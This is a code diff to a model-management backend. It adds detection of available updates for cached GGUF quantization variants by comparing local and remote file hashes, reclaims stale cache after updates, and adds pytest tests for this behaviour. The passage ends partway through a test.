+    local_blobs: dict[str, set[str]], requirement: Optional[_GgufVariantRequirement], variant: str
+) -> bool:
+    if requirement is None or not local_blobs:
+        return False
+    local_by_posix = {path.replace("\\", "/"): blobs for path, blobs in local_blobs.items()}
+    for expected in requirement.expected_files:
+        path = str(expected.path).replace("\\", "/")
+        if not (
+            is_main_gguf_variant_path(path, variant)
+            or _is_mmproj_filename(path)
+            or _is_mtp_drafter_path(path)
+        ):
+            continue
+        remote_blob = expected.sha256
+        if not remote_blob:
+            continue
+        local_set = local_by_posix.get(path)
+        if not local_set or remote_blob not in local_set:
+            return True
+    return False
+
+
 def delete_variant_incomplete_blobs_result(
     repo_id: str,
     variant: str,
@@ -657,9 +726,12 @@ async def get_gguf_variants_response(
                         _partial_transport_for_variant(repo_id, variant.quant),
                     )
 
+        local_blobs_by_quant = _local_main_gguf_blobs_by_quant(repo_id)
+
         def _variant_detail(v) -> GgufVariantDetail:
             is_partial = v.quant in partial_quants
             requirement = requirements_by_quant.get(v.quant.lower())
+            downloaded = _is_fully_downloaded(v) and not is_partial
             return GgufVariantDetail(
                 filename = v.filename,
                 quant = v.quant,
@@ -668,7 +740,13 @@ async def get_gguf_variants_response(
                 download_size_bytes = (
                     requirement.download_size_bytes if requirement is not None else v.size_bytes
                 ),
-                downloaded = _is_fully_downloaded(v) and not is_partial,
+                downloaded = downloaded,
+                update_available = downloaded
+                and _variant_update_available_from_requirement(
+                    local_blobs_by_quant.get(v.quant.lower(), {}),
+                    requirement,
+                    v.quant,
+                ),
                 partial = is_partial,
                 partial_transport = (partial_quant_transports.get(v.quant) if is_partial else None),
             )
diff --git a/studio/backend/hub/tests/test_model_services.py b/studio/backend/hub/tests/test_model_services.py
index 1eb7042e4e..e22aaba282 100644
--- a/studio/backend/hub/tests/test_model_services.py
+++ b/studio/backend/hub/tests/test_model_services.py
@@ -1632,6 +1632,34 @@ def test_variant_partial_accepts_variant_filtered_legacy_hashes(monkeypatch, tmp
     )
 
 
+def test_variant_partial_accepts_completed_variant_in_non_latest_snapshot(monkeypatch, tmp_path):
+    """A verified GGUF update can prune an older snapshot and make that old
+    directory the newest by mtime. The variant is still complete when another
+    snapshot satisfies its manifest."""
+    monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path / "state")
+    repo_dir = tmp_path / "cache" / "models--Org--Repo"
+    old_snapshot = repo_dir / "snapshots" / "old"
+    new_snapshot = repo_dir / "snapshots" / "new"
+    old_snapshot.mkdir(parents = True)
+    new_snapshot.mkdir(parents = True)
+    (old_snapshot / "model-Q8_0.gguf").write_bytes(b"sibling")
+    (new_snapshot / "model-Q4_K_M.gguf").write_bytes(b"new")
+    assert download_manifest.write_manifest(
+        "model",
+        "Org/Repo",
+        "Q4_K_M",
+        [download_manifest.ExpectedFile(path = "model-Q4_K_M.gguf", size = 3)],
+        "http",
+    )
+
+    assert not inventory_scan.is_variant_partial(
+        "Org/Repo",
+        "Q4_K_M",
+        snapshot_dir = old_snapshot,
+        repo_cache_dir = repo_dir,
+    )
+
+
 def test_gguf_variants_partial_marker_overrides_size_only_downloaded(monkeypatch, tmp_path):
     async def _run_inline(fn, *args, **kwargs):
         return fn(*args, **kwargs)
diff --git a/studio/backend/hub/utils/gguf_plan.py b/studio/backend/hub/utils/gguf_plan.py
index 40d5a32549..2abdb0fb79 100644
--- a/studio/backend/hub/utils/gguf_plan.py
+++ b/studio/backend/hub/utils/gguf_plan.py
@@ -36,7 +36,10 @@ def sibling_sha256(sibling) -> Optional[str]:
         value = lfs.get("sha256")
     else:
         value = getattr(lfs, "sha256", None)
-    return value if isinstance(value, str) and value else None
+    if isinstance(value, str) and value:
+        return value
+    blob_id = getattr(sibling, "blob_id", None)
+    return blob_id if isinstance(blob_id, str) and blob_id else None
 
 
 def sibling_size(sibling) -> int:
diff --git a/studio/backend/hub/utils/inventory_scan.py b/studio/backend/hub/utils/inventory_scan.py
index 0f7ce6fe34..57ad7f6655 100644
--- a/studio/backend/hub/utils/inventory_scan.py
+++ b/studio/backend/hub/utils/inventory_scan.py
@@ -387,9 +387,55 @@ def _manifest_partial(
     )
     if resolved is None:
         return True
+    if repo_type == "model" and variant is not None:
+        if download_manifest.verify_against_disk(manifest, resolved).ok:
+            return False
+        for candidate in _manifest_snapshot_dirs(repo_type, repo_id, repo_cache_dir):
+            if candidate == resolved:
+                continue
+            if download_manifest.verify_against_disk(manifest, candidate).ok:
+                return False
+        return True
     return not download_manifest.verify_against_disk(manifest, resolved).ok
 
 
+def _manifest_snapshot_dirs(
+    repo_type: RepoType,
+    repo_id: str,
+    repo_cache_dir: Optional[Path] = None,
+) -> list[Path]:
+    repo_dirs = (
+        [repo_cache_dir]
+        if repo_cache_dir is not None
+        else list(iter_repo_cache_dirs(repo_type, repo_id))
+    )
+    snapshots: list[Path] = []
+    seen: set[str] = set()
+    for repo_dir in repo_dirs:
+        if repo_dir is None:
+            continue
+        snapshots_dir = repo_dir / "snapshots"
+        try:
+            if not snapshots_dir.is_dir():
+                continue
+            entries = list(snapshots_dir.iterdir())
+        except OSError:
+            continue
+        for entry in entries:
+            try:
+                if not entry.is_dir():
+                    continue
+                resolved = entry.resolve()
+            except OSError:
+                continue
+            key = str(resolved)
+            if key in seen:
+                continue
+            seen.add(key)
+            snapshots.append(resolved)
+    return snapshots
+
+
 def is_snapshot_partial(
     repo_type: RepoType,
     repo_id: str,
diff --git a/studio/backend/hub/workers/hf_download.py b/studio/backend/hub/workers/hf_download.py
index 42a8ca52b3..e45357d311 100644
--- a/studio/backend/hub/workers/hf_download.py
+++ b/studio/backend/hub/workers/hf_download.py
@@ -653,6 +653,21 @@ def _download_gguf_variant(repo_id: str, variant: str, hf_token: str | None, mod
         snapshot_path,
         metadata_unavailable = metadata_unavailable,
     )
+    if plan is not None:
+        try:
+            from hub.services.models.deletion import reclaim_replaced_gguf_variant
+            reclaim_replaced_gguf_variant(
+                repo_id,
+                variant,
+                plan.main_hashes,
+                hf_token,
+            )
+        except Exception as e:
+            print(
+                f"Verified GGUF update for {repo_id} [{variant}], but stale-cache "
+                f"reclaim failed ({type(e).__name__}: {e})",
+                file = sys.stderr,
+            )
 
 
 def _download_dataset(repo_id: str, hf_token: str | None, mode: str) -> None:
diff --git a/studio/backend/models/models.py b/studio/backend/models/models.py
index 20dea5ec12..54e88fed58 100644
--- a/studio/backend/models/models.py
+++ b/studio/backend/models/models.py
@@ -136,9 +136,13 @@ class GgufVariantDetail(BaseModel):
     filename: str = Field(..., description = "GGUF filename (e.g., 'gemma-3-4b-it-Q4_K_M.gguf')")
     quant: str = Field(..., description = "Quantization label (e.g., 'Q4_K_M')")
     size_bytes: int = Field(0, description = "File size in bytes")
+    download_size_bytes: int = Field(0, description = "Total bytes needed to download this variant")
     downloaded: bool = Field(
         False, description = "Whether this variant is already in the local HF cache"
     )
+    update_available: bool = Field(
+        False, description = "Whether a newer version of this variant is available on HF"
+    )
 
 
 class GgufVariantsResponse(BaseModel):
diff --git a/studio/backend/routes/models.py b/studio/backend/routes/models.py
index e22f65751c..7c75e85227 100644
--- a/studio/backend/routes/models.py
+++ b/studio/backend/routes/models.py
@@ -12,6 +12,7 @@ import sys
 import uuid
 from pathlib import Path
 from fastapi import APIRouter, Body, Depends, Header, HTTPException, Query
+from pydantic import BaseModel
 from typing import List, Optional
 import structlog
 from loggers import get_logger
@@ -22,10 +23,27 @@ import re as _re
 _VALID_REPO_ID = _re.compile(r"^[A-Za-z0-9._-]+/[A-Za-z0-9._-]+$")
 
 
+class CachedModelRepo(BaseModel):
+    repo_id: str
+    size_bytes: int
+    last_modified: Optional[float] = None
+
+
+class CachedModelsResponse(BaseModel):
+    cached: List[CachedModelRepo]
+
+
 def _is_valid_repo_id(repo_id: str) -> bool:
     return bool(_VALID_REPO_ID.fullmatch(repo_id))
 
 
+def _normalize_hf_token(hf_token) -> Optional[str]:
+    if not isinstance(hf_token, str):
+        return None
+    token = hf_token.strip()
+    return token or None
+
+
 def _safe_is_dir(path) -> bool:
     """``Path.is_dir()`` returning ``False`` instead of raising.
 
@@ -74,6 +92,7 @@ if str(backend_path) not in sys.path:
     sys.path.insert(0, str(backend_path))
 
 from auth.authentication import get_current_subject
+from hub.dependencies import get_hf_token
 
 try:
     from utils.models import (
@@ -2594,109 +2613,41 @@ async def get_gguf_variants(
         ..., description = "HuggingFace repo ID (e.g. 'unsloth/gemma-3-4b-it-GGUF')"
     ),
     hf_token: Optional[str] = Query(None, description = "HuggingFace token for private repos"),
+    hf_token_header: Optional[str] = Depends(get_hf_token),
     current_subject: str = Depends(get_current_subject),
 ):
-    """List GGUF quantization variants for a HF repo or local directory.
-
-    Returns all variants with file sizes, vision support, and the
-    recommended default.
-    """
+    """List GGUF quantization variants for a HF repo or local directory."""
     try:
-        from utils.models.model_config import is_local_path, list_local_gguf_variants
+        hf_token = _normalize_hf_token(hf_token_header) or _normalize_hf_token(hf_token)
+        from hub.services.models import gguf_variants as hub_gguf_variants
 
-        # Local directory path — scan filesystem.
-        if is_local_path(repo_id):
-            variants, has_vision = list_local_gguf_variants(repo_id)
-
-            filenames = [v.filename for v in variants]
-            best = _pick_best_gguf(filenames)
-            default_variant = _extract_quant_label(best) if best else None
-
-            return GgufVariantsResponse(
-                repo_id = repo_id,
-                variants = [
-                    GgufVariantDetail(
-                        filename = v.filename,
-                        quant = v.quant,
-                        size_bytes = v.size_bytes,
-                        downloaded = True,  # all local variants are downloaded
-                    )
-                    for v in variants
-                ],
-                has_vision = has_vision,
-                default_variant = default_variant,
-                context_length = _read_native_context_length(repo_id, is_local = True),
-            )
-
-        # Remote HuggingFace repo — query HF API.
-        variants, has_vision = list_gguf_variants(repo_id, hf_token = hf_token)
-
-        filenames = [v.filename for v in variants]
-        best = _pick_best_gguf(filenames)
-        default_variant = _extract_quant_label(best) if best else None
-
-        # Per-snapshot so a split GGUF's shards must all sit in one snapshot;
-        # mmproj adapters are excluded so they can't inflate a quant's bytes.
-        cached_bytes_by_quant_per_snapshot: list[dict[str, int]] = []
-        try:
-            from huggingface_hub import constants as hf_constants
-
-            if not _is_valid_repo_id(repo_id):
-                raise ValueError(f"Invalid repo_id format: {repo_id}")
-
-            cache_dir = Path(hf_constants.HF_HUB_CACHE)
-            target = f"models--{repo_id.replace('/', '--')}".lower()
-            for entry in cache_dir.iterdir():
-                if entry.name.lower() == target:
-                    snapshots = entry / "snapshots"
-                    if snapshots.is_dir():
-                        for snap in snapshots.iterdir():
-                            by_quant: dict[str, int] = {}
-                            for f in _iter_gguf_paths(snap):
-                                if _is_mmproj_filename(f.name):
-                                    continue
-                                try:
-                                    size = f.stat().st_size
-                                except OSError:
-                                    continue  # broken symlink / unreadable: skip
-                                rel = f.relative_to(snap).as_posix()
-                                q = _extract_quant_label(rel)
-                                if _is_big_endian_gguf_path(rel, q):
-                                    continue
-                                q = q.lower()
-                                by_quant[q] = by_quant.get(q, 0) + size
-                            if by_quant:
-                                cached_bytes_by_quant_per_snapshot.append(by_quant)
-                    break
-        except Exception:
-            pass
-
-        def _is_fully_downloaded(variant) -> bool:
-            if variant.size_bytes == 0:
-                return False
-            # Complete within one snapshot (tolerance for symlink size jitter).
-            quant = variant.quant.lower()
-            return any(
-                by_quant.get(quant, 0) >= variant.size_bytes * 0.99
-                for by_quant in cached_bytes_by_quant_per_snapshot
-            )
+        response = await hub_gguf_variants.get_gguf_variants_response(
+            repo_id,
+            hf_token = hf_token,
+        )
+        local = is_local_path(repo_id)
 
         return GgufVariantsResponse(
-            repo_id = repo_id,
+            repo_id = response.repo_id,
             variants = [
                 GgufVariantDetail(
                     filename = v.filename,
                     quant = v.quant,
                     size_bytes = v.size_bytes,
-                    downloaded = _is_fully_downloaded(v),
+                    download_size_bytes = int(
+                        getattr(v, "download_size_bytes", v.size_bytes) or v.size_bytes
+                    ),
+                    downloaded = bool(v.downloaded),
+                    update_available = bool(getattr(v, "update_available", False)),
                 )
-                for v in variants
+                for v in response.variants
             ],
-            has_vision = has_vision,
-            default_variant = default_variant,
-            context_length = _read_native_context_length(repo_id, is_local = False),
+            has_vision = response.has_vision,
+            default_variant = response.default_variant,
+            context_length = _read_native_context_length(repo_id, is_local = local),
         )
-
+    except HTTPException:
+        raise
     except Exception as e:
         logger.error(f"Error listing GGUF variants for '{repo_id}': {e}", exc_info = True)
         raise HTTPException(
@@ -3123,10 +3074,14 @@ async def list_cached_gguf(current_subject: str = Depends(get_current_subject)):
         return {"cached": []}
 
 
-@router.get("/cached-models")
-async def list_cached_models(current_subject: str = Depends(get_current_subject)):
+@router.get("/cached-models", response_model = CachedModelsResponse)
+async def list_cached_models(
+    current_subject: str = Depends(get_current_subject),
+    hf_token: Optional[str] = Depends(get_hf_token),
+):
     """List non-GGUF model repos downloaded to HF cache, legacy Unsloth cache, and HF default cache."""
     _WEIGHT_EXTENSIONS = (".safetensors", ".bin")
+    hf_token = _normalize_hf_token(hf_token)
 
     try:
         cache_scans = _all_hf_cache_scans()
@@ -3147,20 +3102,16 @@ async def list_cached_models(current_subject: str = Depends(get_current_subject)
                     )
                     if total_size == 0:
                         continue
-                    has_weights = any(
-                        f.file_name.endswith(_WEIGHT_EXTENSIONS)
+                    weight_files = [
+                        f
                         for rev in repo_info.revisions
                         for f in rev.files
-                    )
-                    if not has_weights:
+                        if f.file_name.endswith(_WEIGHT_EXTENSIONS)
+                    ]
+                    if not weight_files:
                         continue
                     last_modified = max(
-                        (
-                            _blob_mtime(f)
-                            for rev in repo_info.revisions
-                            for f in rev.files
-                            if f.file_name.endswith(_WEIGHT_EXTENSIONS)
-                        ),
+                        (_blob_mtime(f) for f in weight_files),
                         default = 0.0,
                     )
                     key = repo_id.lower()
@@ -3182,9 +3133,12 @@ async def list_cached_models(current_subject: str = Depends(get_current_subject)
                     repo_label = getattr(repo_info, "repo_id", "<unknown>")
                     logger.warning(f"Skipping cached model repo {repo_label}: {e}")
                     continue
-        # Newest download first; stable repo_id tie-break for equal/missing mtimes.
+
+        rows = list(seen_lower.values())
+        # Local-only list path: update checks are GGUF-only and happen lazily
+        # when a repo's variants are viewed.
         cached = sorted(
-            seen_lower.values(),
+            rows,
             key = lambda c: (-(c.get("last_modified") or 0.0), c["repo_id"].lower()),
         )
         return {"cached": cached}
diff --git a/studio/backend/tests/test_cached_gguf_routes.py b/studio/backend/tests/test_cached_gguf_routes.py
index b2ead305ba..d4a7cae208 100644
--- a/studio/backend/tests/test_cached_gguf_routes.py
+++ b/studio/backend/tests/test_cached_gguf_routes.py
@@ -20,6 +20,7 @@ if "structlog" not in sys.modules:
     )
 
 import routes.models as models_route
+from hub.services.models import gguf_variants as GV
 
 
 def _repo(
@@ -527,21 +528,32 @@ def test_gguf_variants_mmproj_does_not_mark_quant_downloaded(monkeypatch, tmp_pa
     """The per-quant 'downloaded' flag is driven by the real weight file in a
     single snapshot; an mmproj vision adapter (matching a quant label) must
     not make that quant appear downloaded."""
-    import huggingface_hub.constants as hf_constants
-
     variants = [
-        SimpleNamespace(filename = "model-Q4_K_M.gguf", quant = "Q4_K_M", size_bytes = 10_000),
-        SimpleNamespace(filename = "model-F16.gguf", quant = "F16", size_bytes = 20_000),
+        SimpleNamespace(
+            filename = "model-Q4_K_M.gguf",
+            quant = "Q4_K_M",
+            display_label = None,
+            size_bytes = 10_000,
+        ),
+        SimpleNamespace(
+            filename = "model-F16.gguf",
+            quant = "F16",
+            display_label = None,
+            size_bytes = 20_000,
+        ),
     ]
     monkeypatch.setattr(
-        models_route, "list_gguf_variants", lambda repo_id, hf_token = None: (variants, True)
+        GV,
+        "list_gguf_variants",
+        lambda repo_id, hf_token = None: (variants, True, []),
     )
-    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
+    monkeypatch.setattr(GV, "_local_main_gguf_blobs_by_quant", lambda _repo_id: {})
 
     snap = tmp_path / "models--org--repo" / "snapshots" / "rev"
     snap.mkdir(parents = True)
     (snap / "model-Q4_K_M.gguf").write_bytes(b"x" * 10_000)  # real weight, fully present
     (snap / "mmproj-F16.gguf").write_bytes(b"y" * 20_000)  # mmproj adapter, label "F16"
+    monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id: [snap])
 
     result = asyncio.run(
         models_route.get_gguf_variants(
@@ -555,21 +567,32 @@ def test_gguf_variants_mmproj_does_not_mark_quant_downloaded(monkeypatch, tmp_pa
 
 
 def test_gguf_variants_ignore_big_endian_siblings(monkeypatch, tmp_path):
-    import huggingface_hub.constants as hf_constants
-
     siblings = [
         SimpleNamespace(rfilename = "model-Q4_K_M-be.gguf", size = 100),
         SimpleNamespace(rfilename = "model-Q4_K_M.gguf", size = 10),
     ]
     monkeypatch.setattr(
-        "huggingface_hub.model_info",
-        lambda *_args, **_kwargs: SimpleNamespace(siblings = siblings),
+        GV,
+        "list_gguf_variants",
+        lambda repo_id, hf_token = None: (
+            [
+                SimpleNamespace(
+                    filename = "model-Q4_K_M.gguf",
+                    quant = "Q4_K_M",
+                    display_label = None,
+                    size_bytes = 10,
+                )
+            ],
+            False,
+            siblings,
+        ),
     )
-    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
+    monkeypatch.setattr(GV, "_local_main_gguf_blobs_by_quant", lambda _repo_id: {})
 
     snap = tmp_path / "models--org--repo" / "snapshots" / "rev"
     snap.mkdir(parents = True)
     (snap / "model-Q4_K_M.gguf").write_bytes(b"x" * 10)
+    monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id: [snap])
 
     result = asyncio.run(
         models_route.get_gguf_variants(
@@ -583,19 +606,25 @@ def test_gguf_variants_ignore_big_endian_siblings(monkeypatch, tmp_path):
 
 
 def test_gguf_variants_cached_big_endian_does_not_satisfy_variant(monkeypatch, tmp_path):
-    import huggingface_hub.constants as hf_constants
-
     variants = [
-        SimpleNamespace(filename = "model-Q4_K_M.gguf", quant = "Q4_K_M", size_bytes = 10),
+        SimpleNamespace(
+            filename = "model-Q4_K_M.gguf",
+            quant = "Q4_K_M",
+            display_label = None,
+            size_bytes = 10,
+        ),
     ]
     monkeypatch.setattr(
-        models_route, "list_gguf_variants", lambda repo_id, hf_token = None: (variants, False)
+        GV,
+        "list_gguf_variants",
+        lambda repo_id, hf_token = None: (variants, False, []),
     )
-    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
+    monkeypatch.setattr(GV, "_local_main_gguf_blobs_by_quant", lambda _repo_id: {})
 
     snap = tmp_path / "models--org--repo" / "snapshots" / "rev"
     snap.mkdir(parents = True)
     (snap / "model-Q4_K_M-be.gguf").write_bytes(b"x" * 10)
+    monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id: [snap])
 
     result = asyncio.run(
         models_route.get_gguf_variants(
diff --git a/studio/backend/tests/test_hf_xet_fallback.py b/studio/backend/tests/test_hf_xet_fallback.py
index 39ecebd328..9e40fbf508 100644
--- a/studio/backend/tests/test_hf_xet_fallback.py
+++ b/studio/backend/tests/test_hf_xet_fallback.py
@@ -206,6 +206,7 @@ class _FakeAttempt:
         interval,
         grace_period,
         on_status,
+        force_download = False,
     ):
         self.calls.append(
             _types.SimpleNamespace(
diff --git a/studio/backend/tests/test_model_update_robustness.py b/studio/backend/tests/test_model_update_robustness.py
new file mode 100644
index 0000000000..9cf2a62c39
--- /dev/null
+++ b/studio/backend/tests/test_model_update_robustness.py
@@ -0,0 +1,483 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+"""Tests for model-update detection and the GGUF force-download helper.
+
+Covers:
+  * GGUF variant listing computes update_available from the already-fetched
+    sibling metadata instead of a second Hub call.
+  * hf_hub_download_with_xet_fallback(force_download=True) bypasses the
+    try_to_load_from_cache cache-first early-return.
+
+The cache "Update" action now runs through the download manager as a normal
+managed download (so it shows in the Downloads panel with progress + cancel),
+so the old POST /api/models/update endpoint and its tests are gone. Update
+*detection* — the "Update available" cue — is still exercised here.
+"""
+
+import asyncio
+import sys
+import types
+from types import SimpleNamespace
+
+if "structlog" not in sys.modules:
+
+    class _DummyLogger:
+        def __getattr__(self, _name):
+            return lambda *a, **k: None
+
+    sys.modules["structlog"] = types.SimpleNamespace(
+        BoundLogger = _DummyLogger, get_logger = lambda *a, **k: _DummyLogger()
+    )
+
+import pytest
+from hub.services.models import cache_inventory as CI
+from hub.services.models import deletion as D
+from hub.services.models import gguf_variants as GV
+
+
+def _variants():
+    return [
+        SimpleNamespace(
+            filename = "model-Q4_K_M.gguf",
+            quant = "Q4_K_M",
+            display_label = None,
+            size_bytes = 1000,
+        ),
+        SimpleNamespace(
+            filename = "model-Q8_0.gguf",
+            quant = "Q8_0",
+            display_label = None,
+            size_bytes = 2000,
+        ),
+    ]
+
+
+def _seed_cache(tmp_path, repo_id, blob_ids, gguf_files):
+    repo = tmp_path / f"models--{repo_id.replace('/', '--')}"
+    snap = repo / "snapshots" / ("a" * 40)
+    snap.mkdir(parents = True, exist_ok = True)
+    for name, size in gguf_files.items():
+        (snap / name).write_bytes(b"\0" * size)
+    blobs = repo / "blobs"
+    blobs.mkdir(exist_ok = True)
+    for b in blob_ids:
+        (blobs / b).write_bytes(b"x")
+    return repo, snap, blobs
+
+
+@pytest.fixture
+def patch_hub_gguf(monkeypatch):
+    """Patch GGUF listing and cache scans for sibling-derived update checks."""
+
+    def _sibling(
+        path: str,
+        size: int,
+        sha = None,
+        *,
+        lfs_dict = False,
+        blob_id = None,
+    ):
+        if lfs_dict:
+            lfs = {"sha256": sha} if sha else {}
+        else:
+            lfs = SimpleNamespace(sha256 = sha) if sha else None
+        return SimpleNamespace(rfilename = path, size = size, lfs = lfs, blob_id = blob_id)
+
+    def _repo_info(repo_id: str, repo_path, files: list[tuple[str, str]]):
+        return SimpleNamespace(
+            repo_id = repo_id,
+            repo_type = "model",
+            repo_path = repo_path,
+            revisions = [
+                SimpleNamespace(
+                    files = [
+                        SimpleNamespace(
+                            file_name = name,
+                            blob_path = str(repo_path / "blobs" / blob),
+                        )
+                        for name, blob in files
+                    ]
+                )
+            ],
+        )
+
+    def _apply(tmp_path, repo_id: str, *, local_blob: str, remote_sibling):
+        with GV._VARIANT_HASH_LOCK:
+            GV._VARIANT_HASH_CACHE.clear()
+            GV._VARIANT_REQUIREMENT_CACHE.clear()
+            GV._VARIANT_REQUIREMENT_NEG_CACHE.clear()
+        repo, snap, _blobs = _seed_cache(
+            tmp_path,
+            repo_id,
+            blob_ids = [local_blob],
+            gguf_files = {"model-Q4_K_M.gguf": 1000},
+        )
+        monkeypatch.setattr(
+            GV,
+            "list_gguf_variants",
+            lambda r, hf_token = None: (_variants(), False, [remote_sibling]),
+            raising = True,
+        )
+        monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id: [snap])
+        monkeypatch.setattr(
+            CI,
+            "all_hf_cache_scans",
+            lambda: [
+                SimpleNamespace(
+                    repos = [
+                        _repo_info(
+                            repo_id,
+                            repo,
+                            [("model-Q4_K_M.gguf", local_blob)],
+                        )
+                    ]
+                )
+            ],
+        )
+
+    return SimpleNamespace(apply = _apply, sibling = _sibling)
+
+
+def _call(coro):
+    loop = asyncio.new_event_loop()
+    try:
+        return loop.run_until_complete(coro)
+    finally:
+        loop.close()
+
+
+# ── GGUF variant update detection ───────────────────────────────
+
+
+def test_variant_update_check_missing_remote_blob_id_is_not_phantom_update(
+    tmp_path, patch_hub_gguf
+):
+    """Missing sha/blob metadata is unknown, not update_available=True."""
+    repo = "unsloth/gemma-3-4b-it-GGUF"
+    patch_hub_gguf.apply(
+        tmp_path,
+        repo,
+        local_blob = "oldsha",
+        remote_sibling = patch_hub_gguf.sibling("model-Q4_K_M.gguf", 1000, None),
+    )
+    resp = _call(GV.get_gguf_variants_response(repo))
+    assert len(resp.variants) == 2
+    q4 = next(v for v in resp.variants if v.quant == "Q4_K_M")
+    assert q4.downloaded is True
+    assert q4.update_available is False
+
+
+def test_variant_update_check_detects_update_from_existing_siblings(tmp_path, patch_hub_gguf):
+    repo = "unsloth/gemma-3-4b-it-GGUF"
+    patch_hub_gguf.apply(
+        tmp_path,
+        repo,
+        local_blob = "oldsha",
+        remote_sibling = patch_hub_gguf.sibling("model-Q4_K_M.gguf", 1000, "NEWsha"),
+    )
+    resp = _call(GV.get_gguf_variants_response(repo))
+    q4 = next(v for v in resp.variants if v.quant == "Q4_K_M")
+    assert q4.update_available is True
+
+
+def test_variant_update_check_no_update_when_blob_matches(tmp_path, patch_hub_gguf):
+    repo = "unsloth/gemma-3-4b-it-GGUF"
+    patch_hub_gguf.apply(
+        tmp_path,
+        repo,
+        local_blob = "samesha",
+        remote_sibling = patch_hub_gguf.sibling("model-Q4_K_M.gguf", 1000, "samesha"),
+    )
+    resp = _call(GV.get_gguf_variants_response(repo))
+    q4 = next(v for v in resp.variants if v.quant == "Q4_K_M")
+    assert q4.update_available is False
+
+
+@pytest.mark.parametrize(
+    ("companion_path", "has_vision"),
+    [
+        ("mmproj-F16.gguf", True),
+        ("mtp-drafter-Q8_0.gguf", False),
+    ],
+)
+def test_variant_update_check_detects_companion_only_update(
+    monkeypatch, tmp_path, patch_hub_gguf, companion_path, has_vision
+):
+    repo_id = "unsloth/gemma-4-GGUF"
+    with GV._VARIANT_HASH_LOCK:
+        GV._VARIANT_HASH_CACHE.clear()
+        GV._VARIANT_REQUIREMENT_CACHE.clear()
+        GV._VARIANT_REQUIREMENT_NEG_CACHE.clear()
+    repo, snap, _blobs = _seed_cache(
+        tmp_path,
+        repo_id,
+        blob_ids = ["mainsha", "old-companion"],
+        gguf_files = {
+            "model-Q4_K_M.gguf": 1000,
+            companion_path: 100,
+        },
+    )
+    siblings = [
+        patch_hub_gguf.sibling("model-Q4_K_M.gguf", 1000, "mainsha"),
+        patch_hub_gguf.sibling(companion_path, 100, "new-companion"),
+    ]
+    monkeypatch.setattr(
+        GV,
+        "list_gguf_variants",
+        lambda r, hf_token = None: (_variants(), has_vision, siblings),
+        raising = True,
+    )
+    monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id: [snap])
+    monkeypatch.setattr(
+        CI,
+        "all_hf_cache_scans",
+        lambda: [
+            SimpleNamespace(
+                repos = [
+                    SimpleNamespace(
+                        repo_id = repo_id,
+                        repo_type = "model",
+                        repo_path = repo,
+                        revisions = [
+                            SimpleNamespace(
+                                files = [
+                                    SimpleNamespace(
+                                        file_name = "model-Q4_K_M.gguf",
+                                        blob_path = str(repo / "blobs" / "mainsha"),
+                                    ),
+                                    SimpleNamespace(
+                                        file_name = companion_path,
+                                        blob_path = str(repo / "blobs" / "old-companion"),
+                                    ),
+                                ]
+                            )
+                        ],
+                    )
+                ]
+            )
+        ],
+    )
+
+    resp = _call(GV.get_gguf_variants_response(repo_id))
+    q4 = next(v for v in resp.variants if v.quant == "Q4_K_M")
+
+    assert q4.downloaded is True
+    assert q4.update_available is True
+
+
+def test_variant_update_check_accepts_lfs_dict_and_blob_id_fallback(tmp_path, patch_hub_gguf):
+    repo = "unsloth/gemma-3-4b-it-GGUF"
+    patch_hub_gguf.apply(
+        tmp_path,
+        repo,
+        local_blob = "dictsha",
+        remote_sibling = patch_hub_gguf.sibling(
+            "model-Q4_K_M.gguf",
+            1000,
+            "dictsha",
+            lfs_dict = True,
+        ),
+    )
+    resp = _call(GV.get_gguf_variants_response(repo))
+    assert next(v for v in resp.variants if v.quant == "Q4_K_M").update_available is False
+
+    patch_hub_gguf.apply(
+        tmp_path,
+        repo,
+        local_blob = "blobid",
+        remote_sibling = patch_hub_gguf.sibling(
+            "model-Q4_K_M.gguf",
+            1000,
+            None,
+            blob_id = "blobid",
+        ),
+    )
+    resp = _call(GV.get_gguf_variants_response(repo))
+    assert next(v for v in resp.variants if v.quant == "Q4_K_M").update_available is False
+
+
+def test_cached_model_scan_keeps_local_safetensors_repo(monkeypatch, tmp_path):
+    repo_path = tmp_path / "models--Org--SafeTensorRepo"
+    repo = SimpleNamespace(
+        repo_id = "Org/SafeTensorRepo",
+        repo_type = "model",
+        repo_path = repo_path,
+        revisions = [
+            SimpleNamespace(
+                files = [
+                    SimpleNamespace(
+                        file_name = "config.json",
+                        size_on_disk = 10,
+                        blob_path = None,
+                    ),
+                    SimpleNamespace(
+                        file_name = "model.safetensors",
+                        size_on_disk = 100,
+                        blob_path = str(repo_path / "blobs" / "modelsha"),
+                    ),
+                ]
+            )
+        ],
+    )
+    monkeypatch.setattr(
+        CI,
+        "all_hf_cache_scans",
+        lambda: [SimpleNamespace(repos = [repo])],
+    )
+    monkeypatch.setattr(
+        CI.hf_cache_scan,
+        "is_snapshot_partial",
+        lambda *args, **kwargs: False,
+    )
+
+    rows = CI._scan_cached_models()
+
+    assert len(rows) == 1
+    assert rows[0]["repo_id"] == "Org/SafeTensorRepo"
+    assert rows[0]["model_format"] == "safetensors"
+    assert rows[0]["size_bytes"] == 100
+
+
+# ── hf_hub_download_with_xet_fallback force_download bypass (X2/F2) ───
+
+
+def test_force_download_bypasses_cache_first_early_return(monkeypatch):
+    """force_download=True skips the try_to_load_from_cache early-return and
+    proceeds to the real download path; force_download=False returns the cached
+    path without ever attempting a download (X2/F2)."""
+    import huggingface_hub as hf
+    import utils.hf_xet_fallback as X
+
+    cached_path = "/cache/blob/cached.gguf"
+
+    # Pretend the blob IS cached on disk (try_to_load_from_cache is imported
+    # inside the function from huggingface_hub, and os.path.exists must agree).
+    monkeypatch.setattr(hf, "try_to_load_from_cache", lambda *a, **k: cached_path, raising = False)
+    monkeypatch.setattr(X.os.path, "exists", lambda p: True, raising = False)
+
+    attempts = []
+
+    def fake_attempt(repo_id, filename, token, **kwargs):
+        attempts.append(
